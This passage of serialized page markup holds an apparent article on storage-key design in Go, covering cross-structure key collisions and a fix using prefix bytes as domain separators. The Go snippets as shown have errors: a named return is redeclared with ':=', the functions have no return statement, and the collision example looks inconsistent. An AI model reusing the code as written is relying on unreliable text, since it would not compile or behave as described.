style":192},[89176],{"type":26,"value":88158},{"type":21,"tag":153,"props":89178,"children":89179},{"style":198},[89180],{"type":26,"value":78713},{"type":21,"tag":153,"props":89182,"children":89183},{"style":181},[89184],{"type":26,"value":87861},{"type":21,"tag":153,"props":89186,"children":89187},{"style":160},[89188],{"type":26,"value":773},{"type":21,"tag":153,"props":89190,"children":89191},{"class":155,"line":26338},[89192,89196,89200],{"type":21,"tag":153,"props":89193,"children":89194},{"style":160},[89195],{"type":26,"value":88752},{"type":21,"tag":153,"props":89197,"children":89198},{"style":214},[89199],{"type":26,"value":87062},{"type":21,"tag":153,"props":89201,"children":89202},{"style":160},[89203],{"type":26,"value":792},{"type":21,"tag":153,"props":89205,"children":89206},{"class":155,"line":26346},[89207,89211,89215,89219,89223,89227,89231,89235],{"type":21,"tag":153,"props":89208,"children":89209},{"style":192},[89210],{"type":26,"value":88768},{"type":21,"tag":153,"props":89212,"children":89213},{"style":160},[89214],{"type":26,"value":355},{"type":21,"tag":153,"props":89216,"children":89217},{"style":181},[89218],{"type":26,"value":87898},{"type":21,"tag":153,"props":89220,"children":89221},{"style":160},[89222],{"type":26,"value":189},{"type":21,"tag":153,"props":89224,"children":89225},{"style":181},[89226],{"type":26,"value":2456},{"type":21,"tag":153,"props":89228,"children":89229},{"style":160},[89230],{"type":26,"value":189},{"type":21,"tag":153,"props":89232,"children":89233},{"style":192},[89234],{"type":26,"value":87768},{"type":21,"tag":153,"props":89236,"children":89237},{"style":160},[89238],{"type":26,"value":87919},{"type":21,"tag":153,"props":89240,"children":89241},{"class":155,"line":26355},[89242],{"type":21,"tag":153,"props":89243,"children":89244},{"style":160},[89245],{"type":26,"value":26616},{"type":21,"tag":153,"props":89247,"children":89248},{"class":155,"line":26431},[89249,89253,89257,89261,89265,89269,89273,89277],{"type":21,"tag":153,"props":89250,"children":89251},{"style":192},[89252],{"type":26,"value":87889},{"type":21,"tag":153,"props":89254,"children":89255},{"style":160},[89256],{"type":26,"value":355},{"type":21,"tag":153,"props":89258,"children":89259},{"style":181},[89260],{"type":26,"value":87943},{"type":21,"tag":153,"props":89262,"children":89263},{"style":160},[89264],{"type":26,"value":189},{"type":21,"tag":153,"props":89266,"children":89267},{"style":192},[89268],{"type":26,"value":87852},{"type":21,"tag":153,"props":89270,"children":89271},{"style":160},[89272],{"type":26,"value":1670},{"type":21,"tag":153,"props":89274,"children":89275},{"style":192},[89276],{"type":26,"value":87768},{"type":21,"tag":153,"props":89278,"children":89279},{"style":160},[89280],{"type":26,"value":5909},{"type":21,"tag":153,"props":89282,"children":89283},{"class":155,"line":26464},[89284],{"type":21,"tag":153,"props":89285,"children":89286},{"emptyLinePlaceholder":16},[89287],{"type":26,"value":759},{"type":21,"tag":153,"props":89289,"children":89290},{"class":155,"line":26472},[89291,89296,89300,89304],{"type":21,"tag":153,"props":89292,"children":89293},{"style":192},[89294],{"type":26,"value":89295},"    addressNameEncoded",{"type":21,"tag":153,"props":89297,"children":89298},{"style":198},[89299],{"type":26,"value":78713},{"type":21,"tag":153,"props":89301,"children":89302},{"style":181},[89303],{"type":26,"value":87861},{"type":21,"tag":153,"props":89305,"children":89306},{"style":160},[89307],{"type":26,"value":773},{"type":21,"tag":153,"props":89309,"children":89310},{"class":155,"line":26480},[89311,89315,89319],{"type":21,"tag":153,"props":89312,"children":89313},{"style":160},[89314],{"type":26,"value":88752},{"type":21,"tag":153,"props":89316,"children":89317},{"style":214},[89318],{"type":26,"value":87062},{"type":21,"tag":153,"props":89320,"children":89321},{"style":160},[89322],{"type":26,"value":792},{"type":21,"tag":153,"props":89324,"children":89325},{"class":155,"line":26517},[89326,89330,89334,89338,89342,89346,89350,89354],{"type":21,"tag":153,"props":89327,"children":89328},{"style":192},[89329],{"type":26,"value":88768},{"type":21,"tag":153,"props":89331,"children":89332},{"style":160},[89333],{"type":26,"value":355},{"type":21,"tag":153,"props":89335,"children":89336},{"style":181},[89337],{"type":26,"value":87898},{"type":21,"tag":153,"props":89339,"children":89340},{"style":160},[89341],{"type":26,"value":189},{"type":21,"tag":153,"props":89343,"children":89344},{"style":181},[89345],{"type":26,"value":2456},{"type":21,"tag":153,"props":89347,"children":89348},{"style":160},[89349],{"type":26,"value":189},{"type":21,"tag":153,"props":89351,"children":89352},{"style":192},[89353],{"type":26,"value":89138},{"type":21,"tag":153,"props":89355,"children":89356},{"style":160},[89357],{"type":26,"value":87919},{"type":21,"tag":153,"props":89359,"children":89360},{"class":155,"line":26530},[89361],{"type":21,"tag":153,"props":89362,"children":89363},{"style":160},[89364],{"type":26,"value":26616},{"type":21,"tag":153,"props":89366,"children":89367},{"class":155,"line":26543},[89368,89372,89376,89380,89384,89389,89393,89397],{"type":21,"tag":153,"props":89369,"children":89370},{"style":192},[89371],{"type":26,"value":87889},{"type":21,"tag":153,"props":89373,"children":89374},{"style":160},[89375],{"type":26,"value":355},{"type":21,"tag":153,"props":89377,"children":89378},{"style":181},[89379],{"type":26,"value":87943},{"type":21,"tag":153,"props":89381,"children":89382},{"style":160},[89383],{"type":26,"value":189},{"type":21,"tag":153,"props":89385,"children":89386},{"style":192},[89387],{"type":26,"value":89388},"addressNameEncoded",{"type":21,"tag":153,"props":89390,"children":89391},{"style":160},[89392],{"type":26,"value":1670},{"type":21,"tag":153,"props":89394,"children":89395},{"style":192},[89396],{"type":26,"value":89138},{"type":21,"tag":153,"props":89398,"children":89399},{"style":160},[89400],{"type":26,"value":5909},{"type":21,"tag":153,"props":89402,"children":89403},{"class":155,"line":26556},[89404],{"type":21,"tag":153,"props":89405,"children":89406},{"emptyLinePlaceholder":16},[89407],{"type":26,"value":759},{"type":21,"tag":153,"props":89409,"children":89410},{"class":155,"line":26610},[89411,89415,89419,89423,89427,89431],{"type":21,"tag":153,"props":89412,"children":89413},{"style":192},[89414],{"type":26,"value":88972},{"type":21,"tag":153,"props":89416,"children":89417},{"style":198},[89418],{"type":26,"value":78713},{"type":21,"tag":153,"props":89420,"children":89421},{"style":192},[89422],{"type":26,"value":84531},{"type":21,"tag":153,"props":89424,"children":89425},{"style":160},[89426],{"type":26,"value":355},{"type":21,"tag":153,"props":89428,"children":89429},{"style":181},[89430],{"type":26,"value":87520},{"type":21,"tag":153,"props":89432,"children":89433},{"style":160},[89434],{"type":26,"value":773},{"type":21,"tag":153,"props":89436,"children":89437},{"class":155,"line":26619},[89438,89442],{"type":21,"tag":153,"props":89439,"children":89440},{"style":671},[89441],{"type":26,"value":89000},{"type":21,"tag":153,"props":89443,"children":89444},{"style":160},[89445],{"type":26,"value":792},{"type":21,"tag":153,"props":89447,"children":89448},{"class":155,"line":34974},[89449,89453],{"type":21,"tag":153,"props":89450,"children":89451},{"style":192},[89452],{"type":26,"value":89012},{"type":21,"tag":153,"props":89454,"children":89455},{"style":160},[89456],{"type":26,"value":792},{"type":21,"tag":153,"props":89458,"children":89459},{"class":155,"line":34995},[89460,89464],{"type":21,"tag":153,"props":89461,"children":89462},{"style":192},[89463],{"type":26,"value":89024},{"type":21,"tag":153,"props":89465,"children":89466},{"style":160},[89467],{"type":26,"value":792},{"type":21,"tag":153,"props":89469,"children":89470},{"class":155,"line":83248},[89471,89475],{"type":21,"tag":153,"props":89472,"children":89473},{"style":192},[89474],{"type":26,"value":89036},{"type":21,"tag":153,"props":89476,"children":89477},{"style":160},[89478],{"type":26,"value":792},{"type":21,"tag":153,"props":89480,"children":89481},{"class":155,"line":83261},[89482,89486],{"type":21,"tag":153,"props":89483,"children":89484},{"style":192},[89485],{"type":26,"value":89024},{"type":21,"tag":153,"props":89487,"children":89488},{"style":160},[89489],{"type":26,"value":792},{"type":21,"tag":153,"props":89491,"children":89492},{"class":155,"line":83269},[89493,89498],{"type":21,"tag":153,"props":89494,"children":89495},{"style":192},[89496],{"type":26,"value":89497},"        addressNameEncoded",{"type":21,"tag":153,"props":89499,"children":89500},{"style":160},[89501],{"type":26,"value":792},{"type":21,"tag":153,"props":89503,"children":89504},{"class":155,"line":83277},[89505],{"type":21,"tag":153,"props":89506,"children":89507},{"style":160},[89508],{"type":26,"value":26616},{"type":21,"tag":153,"props":89510,"children":89511},{"class":155,"line":83285},[89512],{"type":21,"tag":153,"props":89513,"children":89514},{"style":160},[89515],{"type":26,"value":548},{"type":21,"tag":22,"props":89517,"children":89518},{},[89519,89521,89526],{"type":26,"value":89520},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":21,"tag":78,"props":89522,"children":89524},{"className":89523},[],[89525],{"type":26,"value":87274},{"type":26,"value":89527},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":21,"tag":143,"props":89529,"children":89531},{"code":89530},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[89532],{"type":21,"tag":78,"props":89533,"children":89534},{"__ignoreMap":7},[89535],{"type":26,"value":89530},{"type":21,"tag":22,"props":89537,"children":89538},{},[89539],{"type":26,"value":89540},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":21,"tag":143,"props":89542,"children":89544},{"code":89543,"language":78461,"meta":7,"className":78462,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[89545],{"type":21,"tag":78,"props":89546,"children":89547},{"__ignoreMap":7},[89548,89559,89574,89601,89626,89633,89640,89647,89662,89677,89704,89727,89746,89761,89796,89803,89838,89845,89864,89879,89914,89921,89956,89963,89990,90002,90014,90025,90036,90047,90058,90069,90076,90083,90090,90097,90112,90127,90154,90177,90196,90211,90246,90253,90288,90295,90314,90329,90364,90371,90406,90413,90440,90451,90463,90474,90485,90496,90507,90518,90526],{"type":21,"tag":153,"props":89549,"children":89550},{"class":155,"line":156},[89551,89555],{"type":21,"tag":153,"props":89552,"children":89553},{"style":170},[89554],{"type":26,"value":5085},{"type":21,"tag":153,"props":89556,"children":89557},{"style":160},[89558],{"type":26,"value":80863},{"type":21,"tag":153,"props":89560,"children":89561},{"class":155,"line":166},[89562,89566,89570],{"type":21,"tag":153,"props":89563,"children":89564},{"style":192},[89565],{"type":26,"value":87628},{"type":21,"tag":153,"props":89567,"children":89568},{"style":198},[89569],{"type":26,"value":255},{"type":21,"tag":153,"props":89571,"children":89572},{"style":671},[89573],{"type":26,"value":87637},{"type":21,"tag":153,"props":89575,"children":89576},{"class":155,"line":225},[89577,89582,89586,89591,89596],{"type":21,"tag":153,"props":89578,"children":89579},{"style":192},[89580],{"type":26,"value":89581},"    PositionMapPrefix",{"type":21,"tag":153,"props":89583,"children":89584},{"style":198},[89585],{"type":26,"value":255},{"type":21,"tag":153,"props":89587,"children":89588},{"style":671},[89589],{"type":26,"value":89590}," \"",{"type":21,"tag":153,"props":89592,"children":89593},{"style":50663},[89594],{"type":26,"value":89595},"\\x01",{"type":21,"tag":153,"props":89597,"children":89598},{"style":671},[89599],{"type":26,"value":89600},"\"\n",{"type":21,"tag":153,"props":89602,"children":89603},{"class":155,"line":239},[89604,89609,89613,89617,89622],{"type":21,"tag":153,"props":89605,"children":89606},{"style":192},[89607],{"type":26,"value":89608},"    AddressMapPrefix",{"type":21,"tag":153,"props":89610,"children":89611},{"style":198},[89612],{"type":26,"value":255},{"type":21,"tag":153,"props":89614,"children":89615},{"style":671},[89616],{"type":26,"value":89590},{"type":21,"tag":153,"props":89618,"children":89619},{"style":50663},[89620],{"type":26,"value":89621},"\\x02",{"type":21,"tag":153,"props":89623,"children":89624},{"style":671},[89625],{"type":26,"value":89600},{"type":21,"tag":153,"props":89627,"children":89628},{"class":155,"line":382},[89629],{"type":21,"tag":153,"props":89630,"children":89631},{"style":160},[89632],{"type":26,"value":5909},{"type":21,"tag":153,"props":89634,"children":89635},{"class":155,"line":501},[89636],{"type":21,"tag":153,"props":89637,"children":89638},{"emptyLinePlaceholder":16},[89639],{"type":26,"value":759},{"type":21,"tag":153,"props":89641,"children":89642},{"class":155,"line":533},[89643],{"type":21,"tag":153,"props":89644,"children":89645},{"emptyLinePlaceholder":16},[89646],{"type":26,"value":759},{"type":21,"tag":153,"props":89648,"children":89649},{"class":155,"line":542},[89650,89654,89658],{"type":21,"tag":153,"props":89651,"children":89652},{"style":170},[89653],{"type":26,"value":78597},{"type":21,"tag":153,"props":89655,"children":89656},{"style":181},[89657],{"type":26,"value":88656},{"type":21,"tag":153,"props":89659,"children":89660},{"style":160},[89661],{"type":26,"value":773},{"type":21,"tag":153,"props":89663,"children":89664},{"class":155,"line":762},[89665,89669,89673],{"type":21,"tag":153,"props":89666,"children":89667},{"style":192},[89668],{"type":26,"value":87544},{"type":21,"tag":153,"props":89670,"children":89671},{"style":214},[89672],{"type":26,"value":78718},{"type":21,"tag":153,"props":89674,"children":89675},{"style":160},[89676],{"type":26,"value":792},{"type":21,"tag":153,"props":89678,"children":89679},{"class":155,"line":776},[89680,89684,89688,89692,89696,89700],{"type":21,"tag":153,"props":89681,"children":89682},{"style":192},[89683],{"type":26,"value":87556},{"type":21,"tag":153,"props":89685,"children":89686},{"style":160},[89687],{"type":26,"value":1670},{"type":21,"tag":153,"props":89689,"children":89690},{"style":192},[89691],{"type":26,"value":88037},{"type":21,"tag":153,"props":89693,"children":89694},{"style":160},[89695],{"type":26,"value":78524},{"type":21,"tag":153,"props":89697,"children":89698},{"style":214},[89699],{"type":26,"value":87062},{"type":21,"tag":153,"props":89701,"children":89702},{"style":160},[89703],{"type":26,"value":792},{"type":21,"tag":153,"props":89705,"children":89706},{"class":155,"line":795},[89707,89711,89715,89719,89723],{"type":21,"tag":153,"props":89708,"children":89709},{"style":160},[89710],{"type":26,"value":78679},{"type":21,"tag":153,"props":89712,"children":89713},{"style":192},[89714],{"type":26,"value":74451},{"type":21,"tag":153,"props":89716,"children":89717},{"style":160},[89718],{"type":26,"value":78524},{"type":21,"tag":153,"props":89720,"children":89721},{"style":214},[89722],{"type":26,"value":87062},{"type":21,"tag":153,"props":89724,"children":89725},{"style":160},[89726],{"type":26,"value":2659},{"type":21,"tag":153,"props":89728,"children":89729},{"class":155,"line":808},[89730,89734,89738,89742],{"type":21,"tag":153,"props":89731,"children":89732},{"style":192},[89733],{"type":26,"value":88158},{"type":21,"tag":153,"props":89735,"children":89736},{"style":198},[89737],{"type":26,"value":78713},{"type":21,"tag":153,"props":89739,"children":89740},{"style":181},[89741],{"type":26,"value":87861},{"type":21,"tag":153,"props":89743,"children":89744},{"style":160},[89745],{"type":26,"value":773},{"type":21,"tag":153,"props":89747,"children":89748},{"class":155,"line":820},[89749,89753,89757],{"type":21,"tag":153,"props":89750,"children":89751},{"style":160},[89752],{"type":26,"value":88752},{"type":21,"tag":153,"props":89754,"children":89755},{"style":214},[89756],{"type":26,"value":87062},{"type":21,"tag":153,"props":89758,"children":89759},{"style":160},[89760],{"type":26,"value":792},{"type":21,"tag":153,"props":89762,"children":89763},{"class":155,"line":842},[89764,89768,89772,89776,89780,89784,89788,89792],{"type":21,"tag":153,"props":89765,"children":89766},{"style":192},[89767],{"type":26,"value":88768},{"type":21,"tag":153,"props":89769,"children":89770},{"style":160},[89771],{"type":26,"value":355},{"type":21,"tag":153,"props":89773,"children":89774},{"style":181},[89775],{"type":26,"value":87898},{"type":21,"tag":153,"props":89777,"children":89778},{"style":160},[89779],{"type":26,"value":189},{"type":21,"tag":153,"props":89781,"children":89782},{"style":181},[89783],{"type":26,"value":2456},{"type":21,"tag":153,"props":89785,"children":89786},{"style":160},[89787],{"type":26,"value":189},{"type":21,"tag":153,"props":89789,"children":89790},{"style":192},[89791],{"type":26,"value":87768},{"type":21,"tag":153,"props":89793,"children":89794},{"style":160},[89795],{"type":26,"value":87919},{"type":21,"tag":153,"props":89797,"children":89798},{"class":155,"line":3204},[89799],{"type":21,"tag":153,"props":89800,"children":89801},{"style":160},[89802],{"type":26,"value":26616},{"type":21,"tag":153,"props":89804,"children":89805},{"class":155,"line":3230},[89806,89810,89814,89818,89822,89826,89830,89834],{"type":21,"tag":153,"props":89807,"children":89808},{"style":192},[89809],{"type":26,"value":87889},{"type":21,"tag":153,"props":89811,"children":89812},{"style":160},[89813],{"type":26,"value":355},{"type":21,"tag":153,"props":89815,"children":89816},{"style":181},[89817],{"type":26,"value":87943},{"type":21,"tag":153,"props":89819,"children":89820},{"style":160},[89821],{"type":26,"value":189},{"type":21,"tag":153,"props":89823,"children":89824},{"style":192},[89825],{"type":26,"value":87852},{"type":21,"tag":153,"props":89827,"children":89828},{"style":160},[89829],{"type":26,"value":1670},{"type":21,"tag":153,"props":89831,"children":89832},{"style":192},[89833],{"type":26,"value":87768},{"type":21,"tag":153,"props":89835,"children":89836},{"style":160},[89837],{"type":26,"value":5909},{"type":21,"tag":153,"props":89839,"children":89840},{"class":155,"line":3239},[89841],{"type":21,"tag":153,"props":89842,"children":89843},{"emptyLinePlaceholder":16},[89844],{"type":26,"value":759},{"type":21,"tag":153,"props":89846,"children":89847},{"class":155,"line":3253},[89848,89852,89856,89860],{"type":21,"tag":153,"props":89849,"children":89850},{"style":192},[89851],{"type":26,"value":88853},{"type":21,"tag":153,"props":89853,"children":89854},{"style":198},[89855],{"type":26,"value":78713},{"type":21,"tag":153,"props":89857,"children":89858},{"style":181},[89859],{"type":26,"value":87861},{"type":21,"tag":153,"props":89861,"children":89862},{"style":160},[89863],{"type":26,"value":773},{"type":21,"tag":153,"props":89865,"children":89866},{"class":155,"line":3301},[89867,89871,89875],{"type":21,"tag":153,"props":89868,"children":89869},{"style":160},[89870],{"type":26,"value":88752},{"type":21,"tag":153,"props":89872,"children":89873},{"style":214},[89874],{"type":26,"value":87062},{"type":21,"tag":153,"props":89876,"children":89877},{"style":160},[89878],{"type":26,"value":792},{"type":21,"tag":153,"props":89880,"children":89881},{"class":155,"line":3346},[89882,89886,89890,89894,89898,89902,89906,89910],{"type":21,"tag":153,"props":89883,"children":89884},{"style":192},[89885],{"type":26,"value":88768},{"type":21,"tag":153,"props":89887,"children":89888},{"style":160},[89889],{"type":26,"value":355},{"type":21,"tag":153,"props":89891,"children":89892},{"style":181},[89893],{"type":26,"value":87898},{"type":21,"tag":153,"props":89895,"children":89896},{"style":160},[89897],{"type":26,"value":189},{"type":21,"tag":153,"props":89899,"children":89900},{"style":181},[89901],{"type":26,"value":2456},{"type":21,"tag":153,"props":89903,"children":89904},{"style":160},[89905],{"type":26,"value":189},{"type":21,"tag":153,"props":89907,"children":89908},{"style":192},[89909],{"type":26,"value":88037},{"type":21,"tag":153,"props":89911,"children":89912},{"style":160},[89913],{"type":26,"value":87919},{"type":21,"tag":153,"props":89915,"children":89916},{"class":155,"line":3355},[89917],{"type":21,"tag":153,"props":89918,"children":89919},{"style":160},[89920],{"type":26,"value":26616},{"type":21,"tag":153,"props":89922,"children":89923},{"class":155,"line":3364},[89924,89928,89932,89936,89940,89944,89948,89952],{"type":21,"tag":153,"props":89925,"children":89926},{"style":192},[89927],{"type":26,"value":87889},{"type":21,"tag":153,"props":89929,"children":89930},{"style":160},[89931],{"type":26,"value":355},{"type":21,"tag":153,"props":89933,"children":89934},{"style":181},[89935],{"type":26,"value":87943},{"type":21,"tag":153,"props":89937,"children":89938},{"style":160},[89939],{"type":26,"value":189},{"type":21,"tag":153,"props":89941,"children":89942},{"style":192},[89943],{"type":26,"value":87978},{"type":21,"tag":153,"props":89945,"children":89946},{"style":160},[89947],{"type":26,"value":1670},{"type":21,"tag":153,"props":89949,"children":89950},{"style":192},[89951],{"type":26,"value":88037},{"type":21,"tag":153,"props":89953,"children":89954},{"style":160},[89955],{"type":26,"value":5909},{"type":21,"tag":153,"props":89957,"children":89958},{"class":155,"line":3376},[89959],{"type":21,"tag":153,"props":89960,"children":89961},{"emptyLinePlaceholder":16},[89962],{"type":26,"value":759},{"type":21,"tag":153,"props":89964,"children":89965},{"class":155,"line":3393},[89966,89970,89974,89978,89982,89986],{"type":21,"tag":153,"props":89967,"children":89968},{"style":192},[89969],{"type":26,"value":88972},{"type":21,"tag":153,"props":89971,"children":89972},{"style":198},[89973],{"type":26,"value":78713},{"type":21,"tag":153,"props":89975,"children":89976},{"style":192},[89977],{"type":26,"value":84531},{"type":21,"tag":153,"props":89979,"children":89980},{"style":160},[89981],{"type":26,"value":355},{"type":21,"tag":153,"props":89983,"children":89984},{"style":181},[89985],{"type":26,"value":87520},{"type":21,"tag":153,"props":89987,"children":89988},{"style":160},[89989],{"type":26,"value":773},{"type":21,"tag":153,"props":89991,"children":89992},{"class":155,"line":3405},[89993,89998],{"type":21,"tag":153,"props":89994,"children":89995},{"style":671},[89996],{"type":26,"value":89997},"        \"%s%d%s%s%s%s\"",{"type":21,"tag":153,"props":89999,"children":90000},{"style":160},[90001],{"type":26,"value":792},{"type":21,"tag":153,"props":90003,"children":90004},{"class":155,"line":3427},[90005,90010],{"type":21,"tag":153,"props":90006,"children":90007},{"style":192},[90008],{"type":26,"value":90009},"        PositionMapPrefix",{"type":21,"tag":153,"props":90011,"children":90012},{"style":160},[90013],{"type":26,"value":792},{"type":21,"tag":153,"props":90015,"children":90016},{"class":155,"line":3448},[90017,90021],{"type":21,"tag":153,"props":90018,"children":90019},{"style":192},[90020],{"type":26,"value":89012},{"type":21,"tag":153,"props":90022,"children":90023},{"style":160},[90024],{"type":26,"value":792},{"type":21,"tag":153,"props":90026,"children":90027},{"class":155,"line":3456},[90028,90032],{"type":21,"tag":153,"props":90029,"children":90030},{"style":192},[90031],{"type":26,"value":89024},{"type":21,"tag":153,"props":90033,"children":90034},{"style":160},[90035],{"type":26,"value":792},{"type":21,"tag":153,"props":90037,"children":90038},{"class":155,"line":3493},[90039,90043],{"type":21,"tag":153,"props":90040,"children":90041},{"style":192},[90042],{"type":26,"value":89036},{"type":21,"tag":153,"props":90044,"children":90045},{"style":160},[90046],{"type":26,"value":792},{"type":21,"tag":153,"props":90048,"children":90049},{"class":155,"line":3509},[90050,90054],{"type":21,"tag":153,"props":90051,"children":90052},{"style":192},[90053],{"type":26,"value":89024},{"type":21,"tag":153,"props":90055,"children":90056},{"style":160},[90057],{"type":26,"value":792},{"type":21,"tag":153,"props":90059,"children":90060},{"class":155,"line":3517},[90061,90065],{"type":21,"tag":153,"props":90062,"children":90063},{"style":192},[90064],{"type":26,"value":89059},{"type":21,"tag":153,"props":90066,"children":90067},{"style":160},[90068],{"type":26,"value":792},{"type":21,"tag":153,"props":90070,"children":90071},{"class":155,"line":3526},[90072],{"type":21,"tag":153,"props":90073,"children":90074},{"style":160},[90075],{"type":26,"value":26616},{"type":21,"tag":153,"props":90077,"children":90078},{"class":155,"line":3607},[90079],{"type":21,"tag":153,"props":90080,"children":90081},{"style":160},[90082],{"type":26,"value":548},{"type":21,"tag":153,"props":90084,"children":90085},{"class":155,"line":3615},[90086],{"type":21,"tag":153,"props":90087,"children":90088},{"emptyLinePlaceholder":16},[90089],{"type":26,"value":759},{"type":21,"tag":153,"props":90091,"children":90092},{"class":155,"line":3629},[90093],{"type":21,"tag":153,"props":90094,"children":90095},{"emptyLinePlaceholder":16},[90096],{"type":26,"value":759},{"type":21,"tag":153,"props":90098,"children":90099},{"class":155,"line":26297},[90100,90104,90108],{"type":21,"tag":153,"props":90101,"children":90102},{"style":170},[90103],{"type":26,"value":78597},{"type":21,"tag":153,"props":90105,"children":90106},{"style":181},[90107],{"type":26,"value":89103},{"type":21,"tag":153,"props":90109,"children":90110},{"style":160},[90111],{"type":26,"value":773},{"type":21,"tag":153,"props":90113,"children":90114},{"class":155,"line":26330},[90115,90119,90123],{"type":21,"tag":153,"props":90116,"children":90117},{"style":192},[90118],{"type":26,"value":87544},{"type":21,"tag":153,"props":90120,"children":90121},{"style":214},[90122],{"type":26,"value":78718},{"type":21,"tag":153,"props":90124,"children":90125},{"style":160},[90126],{"type":26,"value":792},{"type":21,"tag":153,"props":90128,"children":90129},{"class":155,"line":26338},[90130,90134,90138,90142,90146,90150],{"type":21,"tag":153,"props":90131,"children":90132},{"style":192},[90133],{"type":26,"value":87556},{"type":21,"tag":153,"props":90135,"children":90136},{"style":160},[90137],{"type":26,"value":1670},{"type":21,"tag":153,"props":90139,"children":90140},{"style":192},[90141],{"type":26,"value":89138},{"type":21,"tag":153,"props":90143,"children":90144},{"style":160},[90145],{"type":26,"value":78524},{"type":21,"tag":153,"props":90147,"children":90148},{"style":214},[90149],{"type":26,"value":87062},{"type":21,"tag":153,"props":90151,"children":90152},{"style":160},[90153],{"type":26,"value":792},{"type":21,"tag":153,"props":90155,"children":90156},{"class":155,"line":26346},[90157,90161,90165,90169,90173],{"type":21,"tag":153,"props":90158,"children":90159},{"style":160},[90160],{"type":26,"value":78679},{"type":21,"tag":153,"props":90162,"children":90163},{"style":192},[90164],{"type":26,"value":74451},{"type":21,"tag":153,"props":90166,"children":90167},{"style":160},[90168],{"type":26,"value":78524},{"type":21,"tag":153,"props":90170,"children":90171},{"style":214},[90172],{"type":26,"value":87062},{"type":21,"tag":153,"props":90174,"children":90175},{"style":160},[90176],{"type":26,"value":2659},{"type":21,"tag":153,"props":90178,"children":90179},{"class":155,"line":26355},[90180,90184,90188,90192],{"type":21,"tag":153,"props":90181,"children":90182},{"style":192},[90183],{"type":26,"value":88158},{"type":21,"tag":153,"props":90185,"children":90186},{"style":198},[90187],{"type":26,"value":78713},{"type":21,"tag":153,"props":90189,"children":90190},{"style":181},[90191],{"type":26,"value":87861},{"type":21,"tag":153,"props":90193,"children":90194},{"style":160},[90195],{"type":26,"value":773},{"type":21,"tag":153,"props":90197,"children":90198},{"class":155,"line":26431},[90199,90203,90207],{"type":21,"tag":153,"props":90200,"children":90201},{"style":160},[90202],{"type":26,"value":88752},{"type":21,"tag":153,"props":90204,"children":90205},{"style":214},[90206],{"type":26,"value":87062},{"type":21,"tag":153,"props":90208,"children":90209},{"style":160},[90210],{"type":26,"value":792},{"type":21,"tag":153,"props":90212,"children":90213},{"class":155,"line":26464},[90214,90218,90222,90226,90230,90234,90238,90242],{"type":21,"tag":153,"props":90215,"children":90216},{"style":192},[90217],{"type":26,"value":88768},{"type":21,"tag":153,"props":90219,"children":90220},{"style":160},[90221],{"type":26,"value":355},{"type":21,"tag":153,"props":90223,"children":90224},{"style":181},[90225],{"type":26,"value":87898},{"type":21,"tag":153,"props":90227,"children":90228},{"style":160},[90229],{"type":26,"value":189},{"type":21,"tag":153,"props":90231,"children":90232},{"style":181},[90233],{"type":26,"value":2456},{"type":21,"tag":153,"props":90235,"children":90236},{"style":160},[90237],{"type":26,"value":189},{"type":21,"tag":153,"props":90239,"children":90240},{"style":192},[90241],{"type":26,"value":87768},{"type":21,"tag":153,"props":90243,"children":90244},{"style":160},[90245],{"type":26,"value":87919},{"type":21,"tag":153,"props":90247,"children":90248},{"class":155,"line":26472},[90249],{"type":21,"tag":153,"props":90250,"children":90251},{"style":160},[90252],{"type":26,"value":26616},{"type":21,"tag":153,"props":90254,"children":90255},{"class":155,"line":26480},[90256,90260,90264,90268,90272,90276,90280,90284],{"type":21,"tag":153,"props":90257,"children":90258},{"style":192},[90259],{"type":26,"value":87889},{"type":21,"tag":153,"props":90261,"children":90262},{"style":160},[90263],{"type":26,"value":355},{"type":21,"tag":153,"props":90265,"children":90266},{"style":181},[90267],{"type":26,"value":87943},{"type":21,"tag":153,"props":90269,"children":90270},{"style":160},[90271],{"type":26,"value":189},{"type":21,"tag":153,"props":90273,"children":90274},{"style":192},[90275],{"type":26,"value":87852},{"type":21,"tag":153,"props":90277,"children":90278},{"style":160},[90279],{"type":26,"value":1670},{"type":21,"tag":153,"props":90281,"children":90282},{"style":192},[90283],{"type":26,"value":87768},{"type":21,"tag":153,"props":90285,"children":90286},{"style":160},[90287],{"type":26,"value":5909},{"type":21,"tag":153,"props":90289,"children":90290},{"class":155,"line":26517},[90291],{"type":21,"tag":153,"props":90292,"children":90293},{"emptyLinePlaceholder":16},[90294],{"type":26,"value":759},{"type":21,"tag":153,"props":90296,"children":90297},{"class":155,"line":26530},[90298,90302,90306,90310],{"type":21,"tag":153,"props":90299,"children":90300},{"style":192},[90301],{"type":26,"value":89295},{"type":21,"tag":153,"props":90303,"children":90304},{"style":198},[90305],{"type":26,"value":78713},{"type":21,"tag":153,"props":90307,"children":90308},{"style":181},[90309],{"type":26,"value":87861},{"type":21,"tag":153,"props":90311,"children":90312},{"style":160},[90313],{"type":26,"value":773},{"type":21,"tag":153,"props":90315,"children":90316},{"class":155,"line":26543},[90317,90321,90325],{"type":21,"tag":153,"props":90318,"children":90319},{"style":160},[90320],{"type":26,"value":8875